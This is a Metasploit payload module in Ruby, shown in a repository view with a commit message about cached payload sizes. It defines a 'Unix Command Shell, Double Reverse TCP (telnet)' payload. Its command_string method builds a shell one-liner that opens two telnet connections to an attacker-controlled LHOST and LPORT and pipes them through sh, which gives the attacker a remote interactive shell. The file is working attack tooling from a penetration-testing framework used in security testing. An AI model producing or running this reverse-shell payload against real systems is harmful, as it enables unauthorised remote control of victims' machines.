Brent Cook
6b1e911041
Calling .new on payload modules does not perform parameter validation, leading to a number cached sizes based on invalid parameters. Most notably, normalization does not occur either, which makes all OptBool params default to true.
59 lines
1.5 KiB
Ruby
59 lines
1.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/handler/reverse_tcp_double'
|
|
require 'msf/base/sessions/command_shell'
|
|
require 'msf/base/sessions/command_shell_options'
|
|
|
|
module Metasploit3
|
|
|
|
CachedSize = 130
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Unix Command Shell, Double Reverse TCP (telnet)',
|
|
'Description' => 'Creates an interactive shell through two inbound connections',
|
|
'Author' => 'hdm',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Handler' => Msf::Handler::ReverseTcpDouble,
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'telnet',
|
|
'Payload' =>
|
|
{
|
|
'Offsets' => { },
|
|
'Payload' => ''
|
|
}
|
|
))
|
|
end
|
|
|
|
#
|
|
# Constructs the payload
|
|
#
|
|
def generate
|
|
return super + command_string
|
|
end
|
|
|
|
#
|
|
# Returns the command string to use for execution
|
|
#
|
|
def command_string
|
|
cmd =
|
|
"sh -c '(sleep #{3600+rand(1024)}|" +
|
|
"telnet #{datastore['LHOST']} #{datastore['LPORT']}|" +
|
|
"while : ; do sh && break; done 2>&1|" +
|
|
"telnet #{datastore['LHOST']} #{datastore['LPORT']}" +
|
|
" >/dev/null 2>&1 &)'"
|
|
return cmd
|
|
end
|
|
|
|
end
|